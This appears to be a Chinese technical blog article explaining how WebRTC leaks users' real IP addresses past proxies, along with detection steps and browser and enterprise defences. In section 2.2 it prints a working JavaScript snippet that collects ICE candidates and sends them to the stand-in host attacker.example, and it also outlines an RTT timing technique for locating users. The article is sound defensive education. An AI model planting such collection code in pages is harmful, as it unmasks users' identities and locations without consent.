WebRTC 这项技术本来是为了让浏览器之间的音视频通信不再依赖插件,结果它却成了隐私泄露的重灾区。很多用户以为挂了代理就万事大吉,实际上浏览器里的 WebRTC 会悄悄通过 STUN 协议发包,把真实 IP 直接暴露给网站。这篇文章我从攻击面分析、泄露原理、验证手段到防护方案,完整拆解一遍。
1. WebRTC 的工作原理与IP泄露的根源
1.1 为什么浏览器会主动暴露你的IP
WebRTC(Web Real-Time Communication)是浏览器内置的实时通信能力,它允许两个浏览器直接建立点对点连接。这个"点对点"就是问题的根源——为了让两个设备能直接互相通信,浏览器必须先知道自己的公网IP和端口。
正常流程下,浏览器会向 STUN(Session Traversal Utilities for NAT)服务器发送请求,询问"我的公网地址是什么?"STUN 服务器返回公网IP和端口后,浏览器再把这个信息放到 SDP(Session Description Protocol)里,通过信令服务器转发给对方设备。
问题在于,这个 SDP 里不仅包含公网IP,还包含本地 IP、内网 IP、mDNS 候选地址等一大堆信息。任何网页只要调用了 RTCPeerConnection API,就能拿到这些数据,不需要用户任何授权。
这就是 WebRTC 泄露 IP 的根本机制——它不是安全漏洞,而是功能设计本身带来的副作用。NAT 穿透必须知道自己的地址,而浏览器实现时把太多信息暴露在了 ICE(Interactive Connectivity Establishment)候选列表中。
1.2 ICE候选收集机制中的信息泄漏点
ICE 协议是 WebRTC 用来选择最佳通信路径的机制,它通过收集三种类型的候选地址来完成连接:
- host 候选:主机的网卡地址,包括 192.168.x.x、10.x.x.x 这类内网 IP,也可能是公网 IP
- srflx 候选:通过 STUN 服务器反射得到的公网 IP 和端口
- relay 候选:通过 TURN 中继服务器转发的地址
真正泄密的其实是 host 和 srflx 这两类。即便你在浏览器里设置了代理,WebRTC 也不会自动走代理——它直接读取系统路由表,找到可达的外部网络路径,绕过代理直接发送 STUN 请求。
我做过一个简单的测试:在一台同时有两张物理网卡的机器上,分别配置了虚拟局域网和普通宽带网络,网页端调取时竟然能同时拿到两个网络的 IP 信息。也就是说,即使你用了防火墙规则封掉某个网卡,浏览器还能通过另一种方式把另一块网卡的信息发出去。
更值得警惕的是,WebRTC 的 IP 泄露不局限于真实公网 IP,内网 IP 的泄露同样危险。攻击者拿到内网 IP 后,可以推测出你所在网络的拓扑结构,配合其他探测手段甚至能定位到具体的路由器型号和品牌,为后续渗透做铺垫。
2. 攻击者如何利用 WebRTC 绕过代理获取真实IP
2.1 三类常见的 WebRTC 泄露攻击路径
实际场景中,攻击者利用 WebRTC 获取真实 IP 的方式主要有三种,每种的技术路径都不一样。
首先是纯 JavaScript 探测。这是最基础的方式,攻击者在自己的网页里嵌入一段 JavaScript 代码,创建 RTCPeerConnection 对象,添加 audio/video 的 transceiver,然后创建一个 data channel,再通过 onicecandidate 事件监听 ICE 候选信息。整个过程中用户毫无感知,不弹窗、不授权、不提示,页面加载的瞬间 IP 信息就已经被发送到了攻击者的服务器上。
其次是时间侧信道攻击。有些场景下 WebRTC 的 API 被浏览器的隐私模式限制,或者被扩展拦截了。但是攻击者可以通过 WebRTC 的延迟测量来推断用户是否通过代理访问:直接连接和经过代理中转的 RTT(往返时延)有明显差异,通过大量测量和指纹比对,可以推断出用户的大致地理位置范围。
第三种是数据通道隐蔽传输。WebRTC 的 DataChannel 支持任意二进制数据的传输,攻击者可以创建一个后台页面,与自己的服务器建立 WebRTC 连接,把用户的 IP、UA、Canvas 指纹等信息打包成二进制数据直接发出去。这种流量看起来和正常的 WebSocket 流量非常相似,难以被安全设备识别。
2.2 真实环境下的一次完整攻击过程复盘
为了说清楚问题,我模拟了一次完整的攻击流程。攻击者在自己的 VPS 上架设了一个恶意网页,页面中嵌入了以下核心代码逻辑:
const rtcPeer = new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.l.google.com:19302' }] }); rtcPeer.createDataChannel('leak'); rtcPeer.createOffer().then(offer => rtcPeer.setLocalDescription(offer)); rtcPeer.onicecandidate = e => { if (e.candidate) { fetch('https://attacker.example/collect?candidate=' + encodeURIComponent(JSON.stringify(e.candidate))); } };受害者只要点击这个页面,浏览器就会自动向 Google 的公共 STUN 服务器发送请求,同时把 host 候选和 srflx 候选全部回传。攻击者从收到的候选中提取 IP 信息——如果受害者的流量走了代理,但 WebRTC 请求绕过了代理,收到的就是真实公网 IP。
我还测试了在这个攻击基础上叠加WebRTC 泄露检测逻辑。Script 不仅采集候选信息,还通过 SDP 中的 IP 地址进行 IPv4/IPv6 双栈探测。如果用户在路由器上启用了 IPv6,WebRTC 会同时泄露 IPv6 地址——大多数安全团队只监控 IPv4 的泄露,IPv6 地址往往被忽略,但攻击者通过 IPv6 地址同样可以精确定位用户的网络位置。
测试结论很明确:现代浏览器的默认配置下,WebRTC 泄露几乎是无法避免的,除非做手工修改。
3. IP泄露验证方法:摸清自己的暴露面
3.1 针对不同浏览器的快速检测方案
在动手防护之前,先确认你的浏览器是否存在 WebRTC 泄露。不同浏览器的表现差距很大:
- Chrome / Edge(Chromium 内核):默认不开启 mDNS 隐藏,host 候选和 srflx 候选都会暴露,泄露风险最高
- Firefox:默认启用了 mDNS 隐私保护,内网 IP 会显示为
.local后缀的 mDNS 名称,但公网 IP 仍然可能泄露 - Safari:相对保守,但较老版本存在已知泄露问题
- Tor Browser:通过设置标志位完全禁用了 WebRTC,但也意味着无法使用 WebRTC 应用
最快的检测方法是打开一个 WebRTC 泄露测试页面,直接查看左侧的 IP 列表。如果列表里出现了你当前没有主动使用的公网 IP,或者是和当前代理出口 IP 完全不同的地址,说明已经泄露。
我个人的建议是同时做三次测试:一次正常模式、一次无痕模式、一次禁用 JavaScript 后开启 WebRTC 的裸测。三次结果交叉比对,基本能确定泄露范围和严重程度。
3.2 检测结果怎么解读:同IP与异IP的不同含义
拿到检测结果后,需要判断 IP 信息之间的关联性。
如果检测页显示的公网 IP 和浏览器查 IP 的网站显示的 IP 完全一致,说明当前上网链路正常,WebRTC 没有额外泄露出独立于当前链路的信息,风险等级中低。
如果 WebRTC 显示的公网 IP 与浏览器查 IP 网站显示的 IP 不一致,说明存在链路绕过——当前浏览器走的代理/隧道与 WebRTC 实际发送流量的网络路径不同,攻击者已经完全拿到了你的真实出口 IP,风险等级高。
如果页面上出现了内网 IP 段(192.168.x.x、10.x.x.x),说明内网拓扑也已暴露。虽然内网 IP 不能直接定位到个人,但结合浏览器语言、时区、字体安装列表、Canvas 指纹等信息,足以实现高精度的设备追踪。
这里有一个很重要的边界:检测工具本身也可以反制。攻击者挂一个恶意检测页,反而能收集所有访问者的 IP 信息。所以不要在不可信的网站上随意执行 WebRTC 泄露检测,尽量使用本地脚本或者可信的开源工具。
4. 防泄露的实践方案:从浏览器配置到企业级管控
4.1 Chrome/Edge用户:通过启动参数和扩展实现基础防护
对于普通用户,防护思路是禁用或隐藏 WebRTC 的 IP 收集能力。
Chrome 浏览器可以通过启动参数来禁止 WebRTC 使用非代理网络路径。在启动命令中追加:
--webrtc-ip-handling-policy=disable_non_proxied_udp这个参数的意思是:WebRTC 只能使用代理链路发出的 UDP 流量,禁止绕过代理直连网络。前提是你已经配置了系统级代理,否则 WebRTC 连不上 STUN 服务器,功能受限。
如果不想改启动参数,可以安装 WebRTC 控制类浏览器扩展(如 WebRTC Leak Prevent 风格的扩展),它们会修改浏览器的webrtc_ip_handling_policy配置项。但要注意:扩展只能修改 Chromium 公开的策略接口,无法完全阻止系统级的网络探测。
对于 Firefox 用户,更彻底的办法是在about:config里手动设置:
media.peerconnection.enabled = false这个开关直接禁用 WebRTC 的 PeerConnection 功能,从根源上斩断泄露路径,但代价是所有网页端音视频通话、屏幕共享功能都会失效。
4.2 企业级防护和浏览器策略管理
在大型企业场景中,靠个人手动配置远远不够。通过组策略或 MDM 方案可以统一配置 WebRTC 行为:
- Chrome 企业版策略:配置
WebRtcIpHandlingPolicy项,可选值为default、default_public_and_private_interfaces、default_public_interface_only、disable_non_proxied_udp - Firefox 企业策略:通过 policies.json 设置
BlockAutoplay一类的组策略并不直接管 WebRTC,往往需要配合media.peerconnection.enabled的 locked 前缀阻止用户修改 - 零信任方案的补充:在终端安全策略中加入 WebRTC 泄露检测的例行扫描,定期审计在线终端中是否存在 WebRTC 可直连的路径
我自己在负责办公网终端隐私基线时,用的方案是:内网终端一律开启disable_non_proxied_udp,配合系统代理配置,同时禁用公网 STUN 解析。这样既保证了正常的 WebRTC 通信可以走代理进行(对音视频会议延迟有一定影响),又避免了真实 IP 信息的直接暴露。
4.3 高级方案:从 WebRTC 协议栈内部阻断泄露
对于开发者来说,真正可控的防护是在自己写的 WebRTC 应用层动手。核心思路是:不使用默认的 ICE 候选收集方式,而是主动控制哪些候选可以被发送到对端。
在创建 RTCPeerConnection 时,可以对 ICE 传输策略进行限制。如果不需要 P2P,直接强制走 TURN 中继:
const pc = new RTCPeerConnection({ iceServers: [{ urls: 'turn:turn.example.com:3478', username: 'user', credential: 'pass' }], iceTransportPolicy: 'relay' });设置iceTransportPolicy: 'relay'后,浏览器只会收集和发送 relay 类型候选,host 和 srflx 候选不会被交换。这样 WebRTC 数据全部通过 TURN 服务器中转,对端只能看到 TURN 服务器的 IP。
这种方案对服务端带宽压力很大,但隐私保护效果最好。如果业务能接受额外的 TURN 带宽消耗,我强烈建议这么干。
另外,还可以在信令服务器层面过滤 SDP。WebRTC 应用的信令通常是开发者自己实现的,可以在转发 SDP 之前,用正则或 JSON 解析把包含host类型的候选和包含内网 IP 的行直接删除,只保留relay候选。这样即使客户端被注入恶意脚本,也无法通过信令通道获取到真实 IP。
5. 常见防护误区和绕过手段分析
5.1 三个最容易走的弯路
第一个误区是只关 STUN 服务器配置。很多人以为不配置iceServers,WebRTC 就不会获取公网IP。实际上不配置 STUN 时,浏览器仍然会收集 host 候选(本地 IP),并且在某些网络环境下,发起连接时对端仍可能观察到你的反射地址。关掉 STUN 只是减少了公网 IP 的暴露路径,内网 IP 泄露的问题依然存在。
第二个误区是在网页里禁用 RTCPeerConnection API。普通用户无法通过页面设置禁用这个 API,只有浏览器扩展或用户脚本能做到。而 Chrome 扩展通过chrome.privacyAPI 修改网络设置时,能力也有限,不能完全替代浏览器底层配置。
第三个误区是以为无痕模式能防泄露。无痕模式只影响本地历史记录和 Cookie,WebRTC 的候选收集发生在浏览器网络栈层面,跟是否无痕无关。我在 Chrome 无痕模式下测试,IP 泄露情况和普通模式一模一样。
5.2 攻击者在防护下仍可能使用的绕过策略
即使做了上述防护,仍有一类绕过方式值得关注——攻击者不再直接读取 RTCIceCandidate,而是通过 WebRTC 连接的时序特征间接推断用户网络状态。
举个例子,设计一个极简单的 WebRTC DataChannel 连接,终端 A 不断向终端 B 发送 10 字节的探测包,并精确记录每个包的 RTT。如果攻击者能够同时控制两端(比如通过恶意页面在自己的数据中心布设中继点),那么即使 WebRTC 被迫走了 TURN 中继,中继服务器的 IP 不会泄露用户真实 IP,但 RTT 数据仍能反映出用户与中继服务器之间的网络距离,结合 IP 库反查中继服务器的位置,攻击者可以把用户的物理位置锁定到城市级别。
这种间接信道很难完全阻断,唯一的办法是物理断开不可信网络的 WebRTC 能力,或者用专门的网络隔离边界,把 WebRTC 流量限制在一个受控的网络区域内。
从实操效果来看,针对普通网民和一般商业追踪,做到 relay-only 加 mDNS 防泄露已经足够;但面对国家级或者专业级对手,任何软件层面的防护都只能增加成本,不能完全杜绝。所以我在团队内部经常强调一个原则:不要依赖单个浏览器的隐私设置,不要把敏感操作放在和 WebRTC 相关的页面环境里。
最后分享一个小经验:做完 WebRTC 防护以后,建议每周跑一次泄露检测,并且留意浏览器自动更新之后防护策略是否依然生效。浏览器版本升级时,某些隐私参数可能会被重置回默认值,尤其是 Firefox 和 Chromium 的自动更新,很容易让 IP 防护策略意外失效。我的习惯是每次大版本更新后,重新检查一遍 webrtc 相关配置项,确认策略仍然生效,这个动作能帮你省掉很多后面排查隐私问题的麻烦。